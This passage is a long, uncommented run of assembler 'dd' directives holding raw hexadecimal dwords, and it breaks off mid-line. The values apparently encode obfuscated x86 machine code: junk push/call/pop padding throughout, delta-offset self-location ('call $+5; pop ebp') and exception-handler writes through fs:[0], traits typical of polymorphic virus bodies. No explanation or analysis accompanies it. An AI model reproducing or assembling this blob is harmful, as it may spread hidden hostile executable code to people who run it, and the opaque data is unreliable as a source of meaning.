58C35820h, 4244489h, 4244481h dd 1Ah, 55C35040h, 202857BFh, 860FD096h, 12h, 6E8h, 0D0D4FC00h dd 0FB376C6h, 8Bh, 85895E00h, 603217Dh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 15h, 0E5C35747h, 7CFE811h dd 0BD890000h, 6032D29h, 17AD8589h, 0F600603h, 687h, 2D958900h dd 0F06032Ch, 18Fh, 0E861F900h, 7A9h, 0C698589h, 8B660603h dd 79BE8CAh, 33BE0000h, 0F681A4Eh, 882h, 8D8B5100h, 6030CE1h dd 0A9858959h, 8B06031Ch, 309118Dh, 777E806h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 5083B8C3h, 17658589h, 6A0603h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 628587C3h, 6C35964Fh dd 618D29C0h, 0E806031Ah, 725h, 858978B5h, 6032021h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B4C35646h, 0D512A2EEh dd 76430E8Eh, 8820F16h, 0F000000h, 28Fh, 8B616000h, 3162DB5h dd 6DFE806h, 6E90000h, 5C000000h, 101A5826h, 918589D2h dd 6A060323h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 663EC352h, 5D5AF681h, 6A8E8h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 7B96632h, 0C18589A2h, 6A06030Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 4090C355h, 5BB2FEDAh, 8B4AAFE3h, 14498589h, 52E80603h dd 6A000006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 7EE5C356h, 11E9D5h, 95470000h dd 4CF16F78h, 0E2F58A48h, 367380EEh, 89944ADEh, 30BE185h dd 5D18106h, 0E86F9E7Dh, 60Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 4AC35646h, 0D9D8951h, 5E060313h dd 5758589h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0ED8568C3h, 33DA7E90h, 31855B5h dd 5B7E806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0E9B30AC3h, 14h, 0B78CF5D4h, 0F0958F48h dd 3502C52Ch, 5B5FB330h, 3AB7BE9Eh, 1B51BD89h, 85890603h dd 6031B45h, 0B07FB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 62C35747h, 6AD8B60Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 91E6C356h dd 6BAF9C8h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 60F4C355h, 5A0EE70Dh dd 8B71490Dh, 3189D8Dh, 6AC38B06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 78A8C355h dd 85897E88h, 6030AD1h, 8904E8C1h, 325958Dh, 0E2F76606h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A7C35141h dd 0E918C70Bh, 10h, 8B2FE106h, 18DEB9Ch, 794B82BDh, 0AEA51422h dd 14E952h, 0F7A50000h, 0BC41C3D0h, 0A859BC8Dh, 2C997174h dd 0FE784EBCh, 2B594AC0h, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0A1B72BCBh dd 4A42B345h, 6093D440h, 0EE9h, 66F2D300h, 8834426Dh, 0DE519F9Ah dd 0E9FF0AF3h, 11h, 32A81717h, 0F1A05727h, 0DBBCC7DFh dd 450B3DCAh, 57506145h, 0BE8h, 13B1E700h, 0B365D24Ch dd 26CC7D62h, 5EF98B66h, 95899359h, 603246Dh, 0A995FFh dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 629A0DC3h, 0E8A6111Eh, 0Dh, 9C1FC6DBh, 0B40BC63Fh dd 0D4ED4122h, 0E5F7BF03h, 605E2C7Eh, 0BB18523h, 8D0F0603h dd 5, 0C2CDD6B8h, 6A5B613Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0BC1CC357h, 0E37FF0DEh dd 5E8h, 4C2A700h, 0B53164FFh, 6030A5Dh, 49958D5Fh, 6A060317h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 82FDC353h, 0A27D100Bh, 89CB72FFh, 52006A1Ah dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 8D294D2Bh, 0A6698C47h, 5E9h, 0A21FEC00h, 8D03D0D9h dd 60313BDh, 4289CA8Bh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 8736EA7Eh, 959D89B4h dd 8D06032Ch, 3032595h, 891A8906h, 31A5595h, 0C38B6006h dd 2880Fh, 61600000h, 4428961h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 96C35141h, 2E9D958Dh, 0BD8B0603h dd 603223Dh, 2A618D89h, 1A890603h, 20F5B589h, 0FE80603h dd 50000000h, 0E439BC6Dh, 40B92185h, 0FDC1532Dh, 895FF07Bh dd 6A0442h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0E633B7C3h, 14E972h, 61E00000h, 5B3F87B7h dd 0B2B49B3Eh, 19DBC189h, 6AE2D934h, 958D1453h, 6030C85h dd 593342BEh, 6A1A8951h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 5B2EC355h, 0E8C1647Fh dd 8166E3A4h, 8936BFD7h, 6A0442h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 5802E6C3h, 6850FF6h dd 89000000h, 32DD59Dh, 0A5958D06h, 6A06030Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 3AD2C355h, 6E6FF76h, 0A958D8Bh, 1A890603h, 6850Fh, 0B58B0000h dd 60324E5h, 6A044289h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 9EFC351h, 8D8B512Ah dd 6031695h, 81CEB70Fh, 0C90696D6h, 8D958D50h, 6A060306h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0E25BC357h, 0BD013A64h, 60304BDh, 6A1A89h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0AC0BEC3h, 706A81AEh, 11E979h, 14820000h, 68258845h dd 4258BED9h, 0E5063731h, 8955F710h, 6A0442h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 870F2EC3h dd 5, 0DB0BE4B9h, 88B0F0Bh, 51000000h, 8F0Fh, 665E0000h dd 8D9120BEh, 304A995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B561425h, 31D75B5h, 801A8906h dd 8D8BEEE1h, 6031719h, 6A044289h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0C0ECC357h dd 9589EA68h, 6030061h, 29F5958Dh, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0F65C21C3h dd 4F0E420Fh, 184D8D01h, 1A890603h, 9E9h, 73584500h, 0B318E0Eh dd 42898FD9h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0A9BFC778h, 0CA8B4758h, 3F25BF66h dd 0D4E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 7459C083h, 0B532F830h, 6A006A95h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 3D8EC351h, 3CA99A7h, 0E8B261F5h, 9, 8D4F48Ch dd 1BC4FB6Bh, 4DB523A4h, 5E060316h, 8166006Ah, 6AB629E6h dd 619D2900h, 6A06032Fh, 95FFFC00h, 603183Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 70C35242h, 0CFABA57Bh dd 39ABBF66h, 0BE9h, 5E648600h, 0AAC6ACDAh, 655D3937h dd 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 168FD1Ch, 89A21A52h, 31B1DB5h, 6AC58A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0F853C350h, 0E896C8FFh, 66D9DF23h, 0B614C181h dd 6E9C08Bh, 0CA000000h, 12CB16CBh, 0E5BD8384h, 60304h dd 0BD830975h, 6032339h, 50197400h, 0B8C08B53h, 438h, 7398589h dd 9D8D0603h, 605B626h, 585BD3FFh, 2339BD83h, 74000603h dd 0B8535017h, 438h, 7398589h, 9D8D0603h, 605B2C7h, 585BD3FFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 85C35343h dd 714D8363h, 1AC58D8Bh, 6A0603h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 300698C3h, 2870FFAh dd 8A000000h, 5DBD89EFh, 8B06030Fh, 9858DC0h, 6A060313h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0C899C355h, 0BA29160h, 14E902F0h, 89000000h dd 0C79601C4h, 0C65EB8BDh, 3719E64h, 0F608D9EAh, 908DDE43h dd 0F525050h, 0F8Bh, 0AE900h, 0AA5C0000h, 0CC078CE5h, 0F0E38ED0h dd 7E8310Fh, 6000000h, 0D01088FAh, 0BB66C7C2h, 5A5F7454h dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0DD20B5C3h, 0ABA71F97h, 880FE5C1h, 6, 29F19D31h dd 0DF810603h, 362B0264h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 2C1EB7C3h, 10E9217Bh dd 61000000h, 0BBF2A698h, 400D5BC4h, 8CB9A531h, 6AFFEEBBh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0B589C299h, 6032369h, 3A60858Dh, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0AB01F3C3h, 230F688Bh, 30F7DBDh, 5C08306h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ECC35343h, 50D8B70Fh dd 41BB6652h, 4895B11h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 68C36983h, 5B165B57h dd 19E1B589h, 6A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 6DC35545h, 0ED9D01C1h, 6A060317h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 222462D8h, 33F04211h, 95FF78C9h, 6031DF9h, 69D38166h dd 338D8DB6h, 81060699h, 64265ED7h, 6AD1FF18h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 2543C350h, 0BF0FC1B1h, 89BD83DFh, 106031Dh, 77850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 5E93CC3h, 0ED000000h, 255699Dh, 0BB66026Ah dd 0E950844Ch, 0Fh, 1F130A2Fh, 0C58FF803h, 0C3801E03h dd 899217B1h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0F09D6AC3h, 0CFD95FFh, 850F0603h dd 6, 0F259D8Bh, 0BF0F0603h, 0D2CE9DBh, 0E80000h, 5D000000h dd 3A6AED81h, 0BD8B0607h, 6030F15h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0AAC35343h, 54AA65D3h, 0F88BB044h dd 9100858Dh, 8B660606h, 8B6690FBh, 0F88B50FBh, 51006A90h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 24337D53h, 137D73DDh, 0BD33F238h, 603250Dh, 0FF64F88Bh dd 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0ACA562CBh, 0E9D457FBh, 10h, 70706B1Fh dd 4FE7344Fh, 1CA4C3C5h, 199EFC43h, 258964h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0ED92C355h, 0D25209A7h, 8D958B60h, 0FC060305h dd 185FF61h, 8A06031Dh, 6AFF6ADCh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0C868C356h dd 2467EA69h, 0FF3A5551h, 32D25B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 840FF027h dd 5, 328BB7BBh, 0EDBD8B7Eh, 8B06030Ah, 325A5BDh, 4D95FF06h dd 0E906031Bh, 0DDh, 18C5BD8Bh, 9D8B0603h, 60305ADh, 8B6600B0h dd 25BD8BFBh, 0E6060309h, 0A800F70h, 60000000h, 1C0D9503h dd 0F38B0603h, 0E971E461h, 0Dh, 59B6B75Ah, 0FF170D2h, 8723D017h dd 0F613C5Bh, 9883h, 0C8B60F00h, 6BAh, 0C18BFC00h, 79D9D8Bh dd 0E8C10603h, 0FA8B6604h, 8BE2F766h, 31B399Dh, 0FC82B06h dd 385h, 0DA8B6600h, 0BD03D18Bh, 6031881h, 0E9h, 49858B00h dd 9060317h, 3215185h, 7C08306h, 0C083DA8Bh, 68F0F00h dd 2B000000h, 315B1BDh, 0FD03B06h, 883h, 32E9F800h, 0B7000000h dd 918D8B2Ch, 8B060309h, 320B1BDh, 1E18306h, 1B840Fh, 0CB800000h dd 91A5830Bh, 0FE060309h, 17499589h, 95010603h, 6032375h dd 0E9h, 11B58D00h, 6A0606BEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 7451C352h, 0BD8B5A88h dd 6032381h, 12E8h, 0FD72F100h, 1DBF5B6Eh, 44CA1022h, 627C48DEh dd 0FDB12A0h, 6A5FF8B7h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 95FF761Ch, 60323A5h, 7C8B9F9h dd 0BD890000h, 603246Dh, 81FCE183h, 0A960DDE7h, 99958902h dd 0FC06031Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 55C35242h, 8B6661D9h, 0E1BD09F8h, 2B060307h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A15D059h, 66A90BE1h, 0BACEF2BFh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EBC35040h dd 99C772C3h, 0D20210AAh, 0BD59589h, 0FE90603h, 0CA000000h dd 0FE480086h, 526D3610h, 0F683364Eh, 33ADCE64h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0D51412C3h, 55006A50h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8B41A509h dd 30BFD9Dh, 880D06h, 0BF600000h, 170E56Fh, 8F7F3AB8h dd 958B615Eh, 60320A5h, 658D8BFCh, 0F06031Ah, 10E9FBB7h dd 0AF000000h, 0B2B82162h, 0FC9B0645h, 352C0B6h, 50B14A3Dh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BD8BE100h, 60305C1h, 210DBD83h, 0F000603h, 1784h, 0FAB70F00h dd 0B8h, 8D8DFC00h, 6034D69h, 17399D8Bh, 0E1FF0603h, 71BD83h dd 0F000603h, 3B884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 831CEA9Ch, 30071BDh, 840F0106h dd 3A8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0ACC35040h, 9AF2DFF6h, 0CF80B1F1h, 71BD83FCh, 3060300h dd 340860Fh, 14E80000h, 0A0000000h, 94390CE9h, 0DC938B84h dd 656B77Ah, 0E11756D6h, 5B72A28Eh, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0CBCFCF13h dd 6614B365h, 9D23D98Ch, 6030E75h, 3104E180h, 314A5B5h dd 0FC90A06h, 15C84h, 0DE800h, 0B84D0000h, 0A54313CEh dd 162391E3h, 0E9DF0053h, 9, 8361F407h, 9CACB84Bh, 858B5F3Ah dd 60309ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0F1C35242h, 7E9h, 0EBAED400h, 85D34A47h, 4D9589h dd 85330603h, 6031A59h, 89505F52h, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 6AF9C3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DDC35141h, 0E873EDA6h dd 4, 1F03FFh, 0D98A5350h, 24448B5Fh, 0ADE1BF04h, 8B1B6Eh dd 818DBB66h, 4244489h, 9E9h, 0D114FE00h, 0D63AB217h, 6A58D092h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0D56DC353h, 0BF66CFFFh, 0D780F3AFh, 7195FFD5h dd 6A06032Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0A2B5C351h, 0BF69E087h, 739A2A98h dd 2A09BD03h, 85890603h, 606A703h, 0BDA9CF81h, 8B0F65CDh dd 6, 18ADB509h, 3AE90603h, 0F000001h, 1488h, 0FE900h dd 2D280000h, 0F12C3CEBh, 1E254EB3h, 14573BB2h, 0FB858B98h dd 0E90606A6h, 0Fh, 8719CC7Eh, 6CD7F5A1h, 0DE6B3D6Ah, 0C710F765h dd 1800h, 0AD958900h, 8B060300h, 6A6FFB5h, 899D0106h, 8B060329h dd 31F8985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 562E4639h, 12E91Fh, 0EC560000h, 0EBA836A5h dd 0E72B1B69h, 53BCFF0Ch, 0B82E1046h, 0BD890689h, 6030B05h dd 8E9h, 0D7C4E700h, 0CF65A665h, 0AD858B81h, 57060309h dd 2F798529h, 895B0603h, 8E90446h, 0B4000000h, 2C1184EAh dd 96D6E574h, 90F355BBh, 52505060h, 0BE9310Fh, 2E000000h dd 936CEED6h, 0B2A13AAFh, 585AAC54h, 85036096h, 6033135h dd 0BE9h, 1BCB8500h, 9BADA61Dh, 7BA9D0DDh, 0FBB5FF61h dd 520606A6h, 1ADD9D8Bh, 685B0603h, 2C147925h, 0DA243481h dd 292C0B7Ah, 32A1D85h, 3858D06h, 890606A7h, 31775BDh dd 88BB9006h, 5040B416h, 0DF8B6653h, 0B70F905Fh, 7195FFFFh dd 8B06032Eh, 31FA1BDh, 6A6106h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 554949C3h, 0C71D8EE2h dd 3007185h, 306h, 0E98D8900h, 8306032Ch, 6A703BDh, 840F0006h dd 2Eh, 8AECEB80h, 3FE9DEh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 341821C3h dd 4CB6E04Eh, 30500C07h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 10E9C0h, 0FD970000h, 439874E1h dd 0AD0D7618h, 8A7314F0h, 0DE9758Eh, 0A0000000h, 0F68D9E48h dd 0E825083Eh, 6C513DA8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0C2C35747h, 6800FC8h, 8B000000h, 30E259Dh dd 71BD8306h, 3060300h, 461850Fh, 0E8F80000h, 11h, 59830FBDh dd 56C58865h, 9CA44304h, 615CFA72h, 0AE9DBh, 0BD690000h dd 8809DFAh, 53E9C147h, 3BD835Bh, 606A7h, 42D840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 5C7557C3h, 0FA57718Ah, 0B5FF9E4Fh, 606A703h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 47C35141h, 6DD9893Ah dd 720457ABh, 0B19D8992h, 0FF060306h, 32A7595h, 0CF816606h dd 0B58BAAD1h, 606A6F7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0A5C35646h, 5C4B77FDh, 8F744E00h, 89B5B701h dd 322F5BDh, 106C706h, 6A000100h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F4EDC351h dd 3260D337h, 0CE76EB6Fh, 0A0BB6696h, 13E85082h, 5C000000h dd 0E22D6985h, 0BF02B776h, 384D287Ah, 9964971Ch, 0EE98499h dd 7E000000h, 2AECADF1h, 0A56C88C6h, 4926FFB6h, 6A965B44h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0A5E3C351h, 6DF59743h, 0BE944B4Fh, 0A703B5FFh dd 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 8877C4C3h, 97D943E7h, 9111A3Bh, 323F195h dd 4995FF06h, 6A060324h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 6183C357h, 0A6F7B58Bh dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0B710F2C3h, 31858B75h, 6A060331h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0B4AC352h, 0AB4138D8h, 4BF6804Bh, 1F8D9D8Bh, 86890603h dd 0C4h, 20A5958Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0C8558FC3h, 20E1714Ch dd 0AE88E49h, 83000000h, 720FA68Fh, 562944BBh, 6D9D8970h dd 5B060323h, 2951BD89h, 0C2830603h, 8E96004h, 1B000000h dd 0D4565545h, 8B99F1F2h, 322B99Dh, 50896106h, 57006A20h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 6EA06E20h, 89475C20h, 306B18Dh, 16858D06h, 0F0606BBh dd 86h, 0B8868900h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0EE0CC353h, 56FCBB8Ah dd 0D9B70FEDh, 1C69BD29h, 6A0603h, 1881BD0Bh, 0B5890603h dd 60325EDh, 0A703B5FFh, 8B660606h, 0FD95FFF8h, 0BB06030Ch dd 32C9A95Fh, 89FE8B50h, 0B5892434h, 6030BEDh, 0A703B5FFh dd 9D8B0606h, 60322C1h, 2E7D95FFh, 6A0603h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 5A0556C3h dd 684AE381h, 0BB66428Fh, 0BD833848h, 60326C9h, 3B840F00h dd 66000000h, 8950DE8Bh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 89D61EC3h, 31F8D95h dd 0CE906h, 0CC890000h, 4FD79E92h, 0A56DDB35h, 0B5FFB0EDh dd 606A703h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0A7C35545h, 0C38166FBh, 9E96B97h, 0 dd 0BA3BF746h, 0E1B68F13h, 0E65BD89h, 95FF0603h, 60314B9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 78C35747h dd 0B5893AD0h, 6030F11h, 0A703B5FFh, 6A0606h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0EF591DC3h dd 95FFAFF9h, 6030C95h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0E0C35343h, 9281069Bh, 0DC943161h, 83BB66A5h dd 4DBD83EDh, 206032Dh, 19840Fh, 0BF0F0000h, 0ED858BF9h dd 66060323h, 0C6BFAFBFh, 95890000h, 6031A7Dh, 0C7DF8B66h dd 3308185h, 6, 0A18D8900h, 0E906031Fh, 0FFFFF401h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B7C35747h, 0C18BDE8Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FCC35040h dd 6C524B0Dh, 858DA717h, 6031309h, 0B276C381h, 0F901DA6h dd 482h, 72B35700h, 5057505Bh, 820F52h, 0F000000h, 1B25BB31h dd 585A757Bh, 8D31905Fh, 6030E6Dh, 18FD9D8Bh, 6A0603h dd 1FF59589h, 6A0603h, 0BE59D8Bh, 858D0603h, 60748EBh dd 81C27CBFh, 5C08349h, 729B529h, 66500603h, 89B36FBFh dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0DCCDEDC3h, 6AF96Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 92C35040h, 19F19D89h, 6A0603h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 57C35242h dd 967E3408h, 8BA3E816h, 30BB59Dh, 0F995FF06h, 8B06031Dh dd 31499BDh, 338D8D06h, 8A060699h, 52D1FFDCh, 5FDFB70Fh dd 14FC5EBFh, 89BD8323h, 106031Dh, 5A850Fh, 0D88A0000h dd 0BF0F026Ah, 0BF6650DBh, 489975Bh, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 6890F98h, 31000000h dd 32FA18Dh, 0FD95FF06h, 6A06030Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8450C355h dd 0DD3E9h, 0E800h, 815D0000h, 748F5EDh, 78D38106h, 31703C90h dd 3202595h, 858D06h, 50060691h, 0C840Fh, 8E0F0000h, 6 dd 310F5250h, 489585Ah, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 53F20ECFh, 0CA7127BCh dd 35FF64EBh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C3C35141h dd 6985899Ah, 8B060317h, 319E19Dh, 25896406h, 0 dd 0FFDFBF0Fh, 31D0185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 787F3FCBh, 8FBB1B19h dd 8D89556Eh, 6032165h, 8589FF6Ah, 6031B6Dh, 2EB9BD2Bh dd 0B5FF0603h, 6031AB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0FDC35747h, 0E1738149h, 14D5212h, 318D5B5h dd 4D95FF06h, 0E906031Bh, 0F0h, 116CCB81h, 0B06014h, 0E6FEBF0Fh dd 8B665070h, 71E45BDFh, 0DE5BD2Bh, 613C0603h, 0CE830Fh dd 0BB660000h, 0B60FB3E5h, 0E99D8BC8h, 0BA060329h, 6, 8501DF8Bh dd 6030705h, 0FA8AC18Bh, 6604E8C1h, 0BF0FD88Bh, 0E2F766DEh dd 8880Fh, 820F0000h, 2, 0C82BD88Bh, 64D9D09h, 0D18B0603h dd 16E59D8Bh, 3E90603h, 66000000h, 858BDA8Bh, 6030325h dd 0DF59D33h, 0C0830603h, 0AE907h, 4E190000h, 0C68E1DB3h dd 9D1B4B94h, 0C083F98Ah, 2860F00h, 8B000000h, 0FD03BFAh dd 0B83h, 0DBD0300h, 0E9060313h, 40h, 0CB58D8Bh, 57600603h dd 1A75BD8Bh, 0F5E0603h, 8361DFB7h, 840F01E1h, 24h, 3231CB81h dd 0A58308B4h, 6030CB5h, 0C2BB66FEh, 89FB8B5Eh, 3032595h dd 0C5853106h, 0E9060307h, 0 dd 0CE18B58Dh, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 6A00B3C3h, 11E800h, 0CED00000h dd 0EA1419FBh, 0CEAC8264h, 0EF570C5Fh, 60849AF7h, 0CE8h dd 87037C00h, 0FFE8327Bh, 43D59978h, 95015F47h, 60324E5h dd 14E95B61h, 0C000000h, 0D930FB37h, 3F71E2F6h, 0A3EBEA85h dd 0D94B22E6h, 0FF19074Fh, 323A595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 260F9A18h dd 0AAB9DCD9h, 6A00000Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0E8F6C351h, 18FE8083h dd 20C2EB6Bh, 66FCE183h, 0FC86EEBFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0B1C35646h, 0B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 17660C60h, 0BD8904F1h, 603099Dh, 6AD22Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0D1492DC3h dd 4834CF2h, 